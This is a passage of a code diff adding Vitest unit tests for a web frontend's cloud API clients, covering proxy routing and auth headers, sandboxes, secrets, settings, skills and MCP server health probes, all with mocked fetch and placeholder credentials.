+  kind: "cloud",
+};
+
+const cookieCloud: Backend = {
+  id: "cloud-cookie",
+  name: "Production - Cookie",
+  host: "https://app.all-hands.dev",
+  apiKey: "",
+  kind: "cloud",
+  authMode: "cookie",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+function mockJsonResponse(data: unknown, status = 200): Response {
+  return new Response(JSON.stringify(data), {
+    status,
+    headers: { "content-type": "application/json" },
+  });
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({}));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("callCloudProxy X-Org-Id injection", () => {
+  it("sends X-Org-Id when targeting the active cloud backend with a selected orgId", async () => {
+    // Arrange — active selection points at the cloud backend with a
+    // resolved orgId. This is the steady-state case after the user picks
+    // an org row in the BackendSelector.
+    setRegisteredBackends([cloudPersonal]);
+    setActiveSelection({
+      backendId: cloudPersonal.id,
+      orgId: "org-personal-uuid",
+    });
+
+    // Act
+    await callCloudProxy({
+      backend: cloudPersonal,
+      method: "GET",
+      path: "/api/v1/app-conversations/search",
+    });
+
+    // Assert — the request carries the X-Org-Id of the active selection so the
+    // cloud backend can scope this request to the user's locally-chosen org
+    // without depending on user.current_org_id.
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toBe(`${cloudPersonal.host}/api/v1/app-conversations/search`);
+    expect(init).toMatchObject({
+      method: "GET",
+    });
+    expect(
+      (init as { headers: Record<string, string> }).headers["X-Org-Id"],
+    ).toBe("org-personal-uuid");
+  });
+
+  it("omits X-Org-Id when targeting a different cloud backend than the active one", async () => {
+    // Arrange — the BackendSelector fan-out (e.g. useAllCloudOrganizations)
+    // calls callCloudProxy(b) for every registered cloud backend. Sending
+    // the active backend's orgId across an unrelated API key would cause
+    // the cloud backend to 403 on api_key_org_id / X-Org-Id mismatch.
+    setRegisteredBackends([cloudPersonal, cloudAcme]);
+    setActiveSelection({
+      backendId: cloudPersonal.id,
+      orgId: "org-personal-uuid",
+    });
+
+    // Act — request targets the non-active backend.
+    await callCloudProxy({
+      backend: cloudAcme,
+      method: "GET",
+      path: "/api/keys/current",
+    });
+
+    // Assert
+    const [, init] = fetchMock.mock.calls[0]!;
+    expect(
+      (init as { headers: Record<string, string> }).headers,
+    ).not.toHaveProperty("X-Org-Id");
+  });
+});
+
+describe("callCloudProxy cookie auth", () => {
+  it("omits bearer auth for same-origin cookie-backed Cloud requests", async () => {
+    setRegisteredBackends([cookieCloud]);
+    setActiveSelection({ backendId: cookieCloud.id, orgId: null });
+
+    await callCloudProxy({
+      backend: cookieCloud,
+      method: "GET",
+      path: "/api/v1/users/me",
+    });
+
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toBe(`${cookieCloud.host}/api/v1/users/me`);
+    expect(init).toMatchObject({ method: "GET" });
+    expect(
+      (init as { headers: Record<string, string> }).headers,
+    ).not.toHaveProperty("Authorization");
+  });
+
+  it("omits bearer auth in runtime proxy envelope requests", async () => {
+    setRegisteredBackends([cookieCloud]);
+    setActiveSelection({ backendId: cookieCloud.id, orgId: null });
+
+    await callCloudProxy({
+      backend: cookieCloud,
+      method: "GET",
+      path: "/api/bash/bash_events/search",
+      hostOverride: "https://abc123.prod-runtime.all-hands.dev",
+    });
+
+    const [, init] = fetchMock.mock.calls[0]!;
+    const envelope = JSON.parse((init as { body: string }).body);
+    expect(
+      (envelope as { headers: Record<string, string> }).headers,
+    ).not.toHaveProperty("Authorization");
+  });
+});
+
+describe("callCloudProxy automation direct routing", () => {
+  it("sends automation requests straight to the cloud host with the API key instead of the /api/cloud-proxy envelope", async () => {
+    // Arrange — the automation service grants permissive CORS to API-key
+    // requests (automation#185), so app-host automation calls no longer
+    // need the same-origin proxy hop through the bundled agent-server.
+    setRegisteredBackends([cloudPersonal]);
+    setActiveSelection({ backendId: cloudPersonal.id, orgId: null });
+    const page = { automations: [], total: 0 };
+    fetchMock.mockResolvedValueOnce(mockJsonResponse(page));
+
+    // Act
+    const result = await callCloudProxy({
+      backend: cloudPersonal,
+      method: "GET",
+      path: "/api/automation/v1?limit=50&offset=0",
+    });
+
+    // Assert — the browser calls the automation API on the cloud host
+    // directly, authenticated by the backend's API key, and no envelope
+    // POST reaches /api/cloud-proxy.
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toBe(
+      `${cloudPersonal.host}/api/automation/v1?limit=50&offset=0`,
+    );
+    expect(init).toMatchObject({
+      method: "GET",
+    });
+    expect(
+      (init as { headers: Record<string, string> }).headers.Authorization,
+    ).toBe(`Bearer ${cloudPersonal.apiKey}`);
+    expect(result).toEqual(page);
+  });
+
+  it("forwards the blob responseType and fail-fast timeout to the direct request", async () => {
+    // Arrange — tarball downloads and health probes rely on these
+    // per-request options surviving the switch from the proxy envelope to
+    // the direct call.
+    setRegisteredBackends([cloudPersonal]);
+    setActiveSelection({ backendId: cloudPersonal.id, orgId: null });
+
+    // Act
+    await callCloudProxy({
+      backend: cloudPersonal,
+      method: "GET",
+      path: "/api/automation/v1/auto-1/tarball",
+      responseType: "blob",
+      timeoutSeconds: 5,
+    });
+
+    // Assert
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toBe(`${cloudPersonal.host}/api/automation/v1/auto-1/tarball`);
+    expect(init).toMatchObject({ method: "GET" });
+  });
+});
+
+describe("callCloudProxy hostOverride routing", () => {
+  const runtimeHost = "https://abc123.prod-runtime.all-hands.dev";
+
+  it("routes through the local /api/cloud-proxy instead of the upstream host when hostOverride is set", async () => {
+    // Arrange — runtime-sandbox endpoints need the proxy hop because the
+    // per-conversation runtime hosts reject browser requests from the
+    // local GUI origin.
+    setRegisteredBackends([cloudPersonal]);
+    setActiveSelection({ backendId: cloudPersonal.id, orgId: null });
+    fetchMock.mockResolvedValueOnce(mockJsonResponse({ items: [] }));
+
+    // Act
+    const result = await callCloudProxy({
+      backend: cloudPersonal,
+      method: "GET",
+      path: "/api/bash/bash_events/search",
+      hostOverride: runtimeHost,
+    });
+
+    // Assert — the browser only makes a same-origin POST to the bundled
+    // agent-server's proxy endpoint carrying the upstream call as an
+    // envelope, and the upstream payload is unwrapped for the caller.
+    const [url, init] = fetchMock.mock.calls[0]!;
+    expect(url).toMatch(/\/api\/cloud-proxy$/);
+    const envelope = JSON.parse((init as { body: string }).body);
+    expect(envelope).toMatchObject({
+      host: runtimeHost,
+      method: "GET",
+      path: "/api/bash/bash_events/search",
+    });
+    expect(result).toEqual({ items: [] });
+  });
+
+  it("carries bearer auth and X-Org-Id inside the proxy envelope", async () => {
+    // Arrange — org scoping must survive the server-side hop: the envelope
+    // headers are what the agent-server attaches to the upstream call in
+    // place of the headers a direct browser request would have sent.
+    setRegisteredBackends([cloudPersonal]);
+    setActiveSelection({
+      backendId: cloudPersonal.id,
+      orgId: "org-personal-uuid",
+    });
+
+    // Act
+    await callCloudProxy({
+      backend: cloudPersonal,
+      method: "GET",
+      path: "/api/bash/bash_events/search",
+      hostOverride: runtimeHost,
+    });
+
+    // Assert
+    const [, init] = fetchMock.mock.calls[0]!;
+    const envelope = JSON.parse((init as { body: string }).body);
+    expect(
+      (envelope as { headers: Record<string, string> }).headers,
+    ).toMatchObject({
+      Authorization: `Bearer ${cloudPersonal.apiKey}`,
+      "X-Org-Id": "org-personal-uuid",
+    });
+  });
+});
diff --git a/__tests__/api/cloud/sandbox-service.test.ts b/__tests__/api/cloud/sandbox-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..ea5d73200de081a5268dcdb136252af04abd239d
--- /dev/null
+++ b/__tests__/api/cloud/sandbox-service.test.ts
@@ -0,0 +1,59 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { batchGetCloudSandboxes } from "#/api/cloud/sandbox-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "cloud-prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse([]));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("batchGetCloudSandboxes", () => {
+  it("targets /api/v1/sandboxes with one id query param per sandbox id", async () => {
+    // Arrange — multiple ids exercises the URLSearchParams.append path,
+    // which is the cloud contract for batch-fetching sandboxes (the GUI
+    // reads sandbox.exposed_urls from the response to find the VSCODE
+    // URL instead of asking the runtime for a localhost address).
+    const ids = ["sandbox-a", "sandbox-b"];
+
+    // Act
+    await batchGetCloudSandboxes(ids);
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(url).toBe(
+      `${cloudBackend.host}/api/v1/sandboxes?id=sandbox-a&id=sandbox-b`,
+    );
+  });
+});
diff --git a/__tests__/api/cloud/secrets-service.test.ts b/__tests__/api/cloud/secrets-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f7fc66b37d3e9fd5b3b57b834ae062f448601f86
--- /dev/null
+++ b/__tests__/api/cloud/secrets-service.test.ts
@@ -0,0 +1,179 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { SecretsService } from "#/api/secrets-service";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({}));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("SecretsService against cloud backend", () => {
+  it("paginates getSecrets directly and returns the merged list", async () => {
+    fetchMock
+      .mockResolvedValueOnce(
+        mockJsonResponse({
+          items: [
+            { name: "ALPHA", description: "first" },
+            { name: "BETA", description: "second" },
+          ],
+          next_page_id: "BETA",
+        }),
+      )
+      .mockResolvedValueOnce(
+        mockJsonResponse({
+          items: [{ name: "GAMMA", description: "third" }],
+          next_page_id: null,
+        }),
+      );
+
+    const secrets = await SecretsService.getSecrets();
+
+    expect(fetchMock).toHaveBeenCalledTimes(2);
+
+    const [firstUrl, firstInit] = getFetchCall(fetchMock, 0);
+    expect(firstInit).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(firstUrl).toMatch(
+      /^https:\/\/app\.all-hands\.dev\/api\/v1\/secrets\/search\?/,
+    );
+    expect(firstUrl).not.toContain("page_id=");
+
+    const [secondUrl] = getFetchCall(fetchMock, 1);
+    expect(secondUrl).toContain("page_id=BETA");
+
+    expect(secrets.map((s) => s.name)).toEqual(["ALPHA", "BETA", "GAMMA"]);
+  });
+
+  it("creates a secret via direct POST /api/v1/secrets", async () => {
+    await SecretsService.createSecret(
+      "OPENAI_API_KEY",
+      "sk-test",
+      "OpenAI key",
+    );
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/secrets`);
+    expect(init).toMatchObject({
+      method: "POST",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(getJsonBody(init)).toEqual({
+      name: "OPENAI_API_KEY",
+      value: "sk-test",
+      description: "OpenAI key",
+    });
+  });
+
+  it("updates a secret via PUT /api/v1/secrets/{id} with name + description only", async () => {
+    // The form/hook calls updateSecret(secretToEdit, newName, description).
+    await SecretsService.updateSecret("OLD_NAME", "NEW_NAME", "renamed");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/secrets/OLD_NAME`);
+    expect(init).toMatchObject({
+      method: "PUT",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(getJsonBody(init)).toEqual({
+      name: "NEW_NAME",
+      description: "renamed",
+    });
+    // No value supplied, so nothing overwrites the stored one.
+    expect(fetchMock).toHaveBeenCalledTimes(1);
+  });
+
+  it("overwrites the value with a POST following the PUT", async () => {
+    // Fresh Response per call: a Response body can only be consumed once.
+    fetchMock.mockImplementation(() => Promise.resolve(mockJsonResponse({})));
+
+    await SecretsService.updateSecret(
+      "API_KEY",
+      "API_KEY",
+      "Demo secret",
+      "new-value",
+    );
+
+    expect(fetchMock).toHaveBeenCalledTimes(2);
+
+    const [putUrl, putInit] = getFetchCall(fetchMock, 0);
+    expect(putUrl).toBe(`${cloudBackend.host}/api/v1/secrets/API_KEY`);
+    expect(putInit).toMatchObject({ method: "PUT" });
+
+    const [postUrl, postInit] = getFetchCall(fetchMock, 1);
+    expect(postUrl).toBe(`${cloudBackend.host}/api/v1/secrets`);
+    expect(postInit).toMatchObject({ method: "POST" });
+    expect(getJsonBody(postInit)).toEqual({
+      name: "API_KEY",
+      value: "new-value",
+      description: "Demo secret",
+    });
+  });
+
+  it("deletes a secret via direct DELETE /api/v1/secrets/{id}", async () => {
+    await SecretsService.deleteSecret("token with space");
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(
+      `${cloudBackend.host}/api/v1/secrets/token%20with%20space`,
+    );
+    expect(init).toMatchObject({
+      method: "DELETE",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+  });
+
+  it("treats a delete 404 as success (secret already gone)", async () => {
+    // Fresh Response per attempt: the retry helper re-fetches and a
+    // Response body can only be consumed once. Fake timers skip the
+    // retry backoff sleeps.
+    fetchMock.mockImplementation(() =>
+      Promise.resolve(mockJsonResponse({ detail: "Secret not found" }, 404)),
+    );
+    vi.useFakeTimers();
+
+    try {
+      const assertion = expect(
+        SecretsService.deleteSecret("ALREADY_GONE"),
+      ).resolves.toBeUndefined();
+      await vi.runAllTimersAsync();
+      await assertion;
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+});
diff --git a/__tests__/api/cloud/settings-service.test.ts b/__tests__/api/cloud/settings-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a730df682dd8927e2cabcd41fe5d9bdf69cbfc18
--- /dev/null
+++ b/__tests__/api/cloud/settings-service.test.ts
@@ -0,0 +1,200 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+  fetchCloudSettings,
+  saveCloudSettings,
+} from "#/api/cloud/settings-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  getFetchCall,
+  getJsonBody,
+  mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  fetchMock.mockResolvedValue(mockJsonResponse({}));
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("cloud settings", () => {
+  it("fetchCloudSettings preserves provider_tokens_set so the repo chain can fire", async () => {
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        llm_model: "anthropic/claude-3-5-sonnet",
+        llm_base_url: "https://api.anthropic.com",
+        llm_api_key_set: true,
+        agent: "CodeActAgent",
+        confirmation_mode: true,
+        security_analyzer: "llm",
+        max_iterations: 30,
+        provider_tokens_set: { github: "***" },
+      }),
+    );
+
+    const result = await fetchCloudSettings();
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/settings`);
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+
+    // provider_tokens_set must round-trip — it's what drives
+    // useUserProviders → useAppInstallations → useGitRepositories.
+    expect(result.provider_tokens_set).toEqual({ github: "***" });
+
+    // Top-level cloud fields are preserved as-is.
+    expect(result.llm_model).toBe("anthropic/claude-3-5-sonnet");
+    expect(result.llm_api_key_set).toBe(true);
+    expect(result.agent).toBe("CodeActAgent");
+
+    // Nested shape derived for the local-mode settings page.
+    expect(result.agent_settings?.agent).toBe("CodeActAgent");
+    expect(result.agent_settings?.llm).toEqual({
+      model: "anthropic/claude-3-5-sonnet",
+      base_url: "https://api.anthropic.com",
+    });
+    expect(result.conversation_settings?.confirmation_mode).toBe(true);
+    expect(result.conversation_settings?.security_analyzer).toBe("llm");
+    expect(result.conversation_settings?.max_iterations).toBe(30);
+  });
+
+  it("saveCloudSettings forwards diffs verbatim and omits the legacy keys the cloud rejects", async () => {
+    const agentDiff = {
+      llm: { model: "openai/gpt-4o", base_url: "https://api.openai.com" },
+      agent: "CodeActAgent",
+    };
+    const conversationDiff = { max_iterations: 50 };
+
+    await saveCloudSettings({
+      agent_settings_diff: agentDiff,
+      conversation_settings_diff: conversationDiff,
+    });
+
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/settings`);
+    expect(init).toMatchObject({
+      method: "POST",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    const requestBody = getJsonBody(init);
+    expect(requestBody).toEqual({
+      agent_settings_diff: agentDiff,
+      conversation_settings_diff: conversationDiff,
+    });
+    expect(requestBody).not.toHaveProperty("agent_settings");
+    expect(requestBody).not.toHaveProperty("conversation_settings");
+  });
+
+  it("SettingsService.saveSettings forwards disabled_skills to cloud when active backend is cloud", async () => {
+    // Act: save a skills-only update — previously this short-circuited and
+    // sent nothing at all, leaving the toggle un-persisted.
+    await SettingsService.saveSettings({
+      disabled_skills: ["SSH Microagent"],
+    });
+
+    // Assert: a single POST /api/v1/settings reached the wire with
+    // disabled_skills as a top-level field.
+    expect(fetchMock).toHaveBeenCalledTimes(1);
+    const [url, init] = getFetchCall(fetchMock);
+    expect(url).toBe(`${cloudBackend.host}/api/v1/settings`);
+    expect(init).toMatchObject({
+      method: "POST",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(getJsonBody(init)).toEqual({
+      disabled_skills: ["SSH Microagent"],
+    });
+  });
+
+  it("saveCloudSettings omits an empty conversation_settings_diff (LLM-only save)", async () => {
+    await saveCloudSettings({
+      agent_settings_diff: {
+        llm: { model: "anthropic/claude-sonnet-4-20250514" },
+      },
+      conversation_settings_diff: {},
+    });
+
+    const [, init] = getFetchCall(fetchMock);
+    const requestBody = getJsonBody(init);
+    expect(requestBody).toEqual({
+      agent_settings_diff: {
+        llm: { model: "anthropic/claude-sonnet-4-20250514" },
+      },
+    });
+  });
+});
+
+describe("saveCloudSettings drops agent_context: null (agent-canvas#981)", () => {
+  it("strips a null agent_context while preserving sibling agent settings", async () => {
+    // Act
+    await saveCloudSettings({
+      agent_settings_diff: {
+        llm: { model: "anthropic/claude-sonnet-4-20250514" },
+        agent_context: null,
+      },
+    });
+
+    // Assert: agent_context never reaches the wire, but the real llm change does.
+    const [, init] = getFetchCall(fetchMock);
+    const requestBody = getJsonBody(init);
+    expect(requestBody).toEqual({
+      agent_settings_diff: {
+        llm: { model: "anthropic/claude-sonnet-4-20250514" },
+      },
+    });
+  });
+
+  it("preserves a null mcp_config so clearing MCP servers still round-trips", async () => {
+    // Act
+    await saveCloudSettings({
+      agent_settings_diff: { mcp_config: null },
+    });
+
+    // Assert: the null mcp_config must survive (don't over-strip nulls).
+    const [, init] = getFetchCall(fetchMock);
+    const requestBody = getJsonBody(init);
+    expect(requestBody).toEqual({ agent_settings_diff: { mcp_config: null } });
+  });
+
+  it("omits agent_settings_diff when agent_context: null is its only key", async () => {
+    // Act
+    await saveCloudSettings({
+      agent_settings_diff: { agent_context: null },
+    });
+
+    // Assert: nothing is left to send, so no agent_settings_diff goes on the wire.
+    const [, init] = getFetchCall(fetchMock);
+    const requestBody = getJsonBody(init);
+    expect(requestBody).toEqual({});
+  });
+});
diff --git a/__tests__/api/cloud/skills-service.test.ts b/__tests__/api/cloud/skills-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..984873d4db4f27be27b6c977629bc4b7c76777a6
--- /dev/null
+++ b/__tests__/api/cloud/skills-service.test.ts
@@ -0,0 +1,136 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import SkillsService from "#/api/skills-service";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id });
+  fetchMock.mockReset();
+  global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  fetchMock.mockReset();
+  global.fetch = originalFetch;
+});
+
+describe("SkillsService.getSkills against cloud backend", () => {
+  it("paginates /api/v1/skills/search directly and returns the merged list", async () => {
+    fetchMock
+      .mockResolvedValueOnce(
+        mockJsonResponse({
+          items: [
+            { name: "alpha", type: "knowledge", source: "global" },
+            {
+              name: "beta",
+              type: "task",
+              source: "user",
+              triggers: ["foo"],
+            },
+          ],
+          next_page_id: "beta",
+        }),
+      )
+      .mockResolvedValueOnce(
+        mockJsonResponse({
+          items: [{ name: "gamma", type: "knowledge", source: "user" }],
+          next_page_id: null,
+        }),
+      );
+
+    const skills = await SkillsService.getSkills();
+
+    expect(fetchMock).toHaveBeenCalledTimes(2);
+
+    const [firstUrl, firstInit] = getFetchCall(fetchMock, 0);
+    expect(firstInit).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(firstUrl).toMatch(
+      /^https:\/\/app\.all-hands\.dev\/api\/v1\/skills\/search\?/,
+    );
+    expect(firstUrl).not.toContain("page_id=");
+
+    const [secondUrl] = getFetchCall(fetchMock, 1);
+    expect(secondUrl).toContain("page_id=beta");
+
+    expect(skills.map((s) => s.name)).toEqual(["alpha", "beta", "gamma"]);
+    expect(skills[1]).toMatchObject({ triggers: ["foo"] });
+  });
+});
+
+describe("SkillsService.getConversationSkills against cloud backend", () => {
+  it("reads the conversation's own skills route and maps entries to SkillInfo", async () => {
+    // Arrange
+    fetchMock.mockResolvedValueOnce(
+      mockJsonResponse({
+        skills: [
+          {
+            name: "release-notes",
+            type: "agentskills",
+            content: "# Release notes",
+            triggers: ["/release-notes"],
+          },
+          {
+            name: "repo",
+            type: "repo",
+            content: "Repository instructions",
+            triggers: [],
+          },
+        ],
+      }),
+    );
+
+    // Act
+    const skills = await SkillsService.getConversationSkills("conv-1");
+
+    // Assert
+    expect(fetchMock).toHaveBeenCalledTimes(1);
+    const [url, init] = getFetchCall(fetchMock, 0);
+    expect(url).toBe(
+      "https://app.all-hands.dev/api/v1/app-conversations/conv-1/skills",
+    );
+    expect(init).toMatchObject({
+      method: "GET",
+      headers: { Authorization: "Bearer bearer-token" },
+    });
+    expect(skills).toEqual([
+      {
+        name: "release-notes",
+        type: "agentskills",
+        content: "# Release notes",
+        triggers: ["/release-notes"],
+        source: null,
+      },
+      {
+        name: "repo",
+        type: "repo",
+        content: "Repository instructions",
+        triggers: [],
+        source: null,
+      },
+    ]);
+  });
+});
diff --git a/__tests__/api/mcp-health/mcp-health-store.test.ts b/__tests__/api/mcp-health/mcp-health-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..1bad49135c98c5e063099de0293538677ecdb1ec
--- /dev/null
+++ b/__tests__/api/mcp-health/mcp-health-store.test.ts
@@ -0,0 +1,64 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import {
+  __resetMcpHealthStoreForTests,
+  beginMcpHealthCheck,
+  clearMcpServerHealth,
+  getMcpHealthSnapshot,
+  resolveMcpHealthCheck,
+} from "#/api/mcp-health/mcp-health-store";
+import type { McpServerHealth } from "#/types/mcp-health";
+
+const HEALTHY: McpServerHealth = {
+  status: "healthy",
+  verification: "verified",
+  toolCount: 3,
+  checkedAt: 1,
+};
+
+const FAILED: McpServerHealth = {
+  status: "failed",
+  kind: "connection",
+  error: "refused",
+  checkedAt: 2,
+};
+
+describe("mcp-health-store", () => {
+  beforeEach(() => {
+    __resetMcpHealthStoreForTests();
+  });
+
+  it("marks a check as in flight and commits its result", () => {
+    const checkId = beginMcpHealthCheck("key");
+    expect(getMcpHealthSnapshot().key).toEqual({ status: "checking", checkId });
+
+    resolveMcpHealthCheck("key", checkId, HEALTHY);
+
+    expect(getMcpHealthSnapshot().key).toEqual(HEALTHY);
+  });
+
+  it("drops a stale result that was superseded by a newer check", () => {
+    const staleId = beginMcpHealthCheck("key");
+    const freshId = beginMcpHealthCheck("key");
+
+    // The slow older probe must not overwrite the newer probe's lifecycle.
+    resolveMcpHealthCheck("key", staleId, HEALTHY);
+    expect(getMcpHealthSnapshot().key).toEqual({
+      status: "checking",
+      checkId: freshId,
+    });
+
+    resolveMcpHealthCheck("key", freshId, FAILED);
+    expect(getMcpHealthSnapshot().key).toEqual(FAILED);
+  });
+
+  it("drops a result whose entry was cleared mid-flight", () => {
+    // e.g. the server was edited or deleted while its probe was running —
+    // the late result must not resurrect a verdict for a gone config.
+    const checkId = beginMcpHealthCheck("key");
+    clearMcpServerHealth("key");
+
+    resolveMcpHealthCheck("key", checkId, HEALTHY);
+
+    expect(getMcpHealthSnapshot().key).toBeUndefined();
+  });
+});
diff --git a/__tests__/api/mcp-health/probe-mcp-server-health.test.ts b/__tests__/api/mcp-health/probe-mcp-server-health.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..7fc8d71ac70b8d58298969f2e0721b4751ef1851
--- /dev/null
+++ b/__tests__/api/mcp-health/probe-mcp-server-health.test.ts
@@ -0,0 +1,179 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetMcpHealthStoreForTests,
+  getMcpHealthSnapshot,
+  setMcpServerHealth,
+} from "#/api/mcp-health/mcp-health-store";
+import {
+  interpretMcpTestResponse,
+  probeMcpServerHealth,
+  seedMcpServerHealth,
+} from "#/api/mcp-health/probe-mcp-server-health";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import type { ExtendedMCPTestResponse, MCPServerConfig } from "#/types/mcp-server";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+
+/** Matches the catalog `github` entry, so the `get_me` probe spec applies. */
+const GITHUB: MCPServerConfig = {
+  id: "shttp-0",
+  type: "shttp",
+  name: "github",
+  url: "https://api.githubcopilot.com/mcp/",
+  auth: { strategy: "api_key", value: "github_pat_x" },
+};
+
+/** Matches no catalog entry, so no probe spec exists. */
+const CUSTOM: MCPServerConfig = {
+  id: "shttp-1",
+  type: "shttp",
+  name: "custom",
+  url: "https://mcp.example.com/mcp",
+};
+
+describe("interpretMcpTestResponse", () => {
+  it("passes a non-auth connection failure through with its kind", () => {
+    const health = interpretMcpTestResponse(CUSTOM, {
+      ok: false,
+      error: "connection refused",
+      error_kind: "connection",
+    });
+
+    expect(health).toMatchObject({
+      status: "failed",
+      kind: "connection",
+      error: "connection refused",
+    });
+  });
+
+  it("reclassifies a connection failure with auth-rejection text as a credentials failure", () => {
+    // Hosted servers reject bad tokens at the HTTP handshake, which the
+    // backend can only report as a connection failure.
+    const health = interpretMcpTestResponse(GITHUB, {
+      ok: false,
+      error: "Client error '401 Unauthorized' for url …",
+      error_kind: "connection",
+    });
+
+    expect(health).toMatchObject({ status: "failed", kind: "credentials" });
+  });
+
+  it("reports verified health when the read-only probe tool ran cleanly", () => {
+    const health = interpretMcpTestResponse(GITHUB, {
+      ok: true,
+      tools: ["get_me", "search_code"],
+      tool_result: { is_error: false, text: '{"login":"octocat"}' },
+    });
+
+    expect(health).toMatchObject({
+      status: "healthy",
+      verification: "verified",
+      toolCount: 2,
+    });
+  });
+
+  it("downgrades to connectivity-only when the probe tool is not advertised", () => {
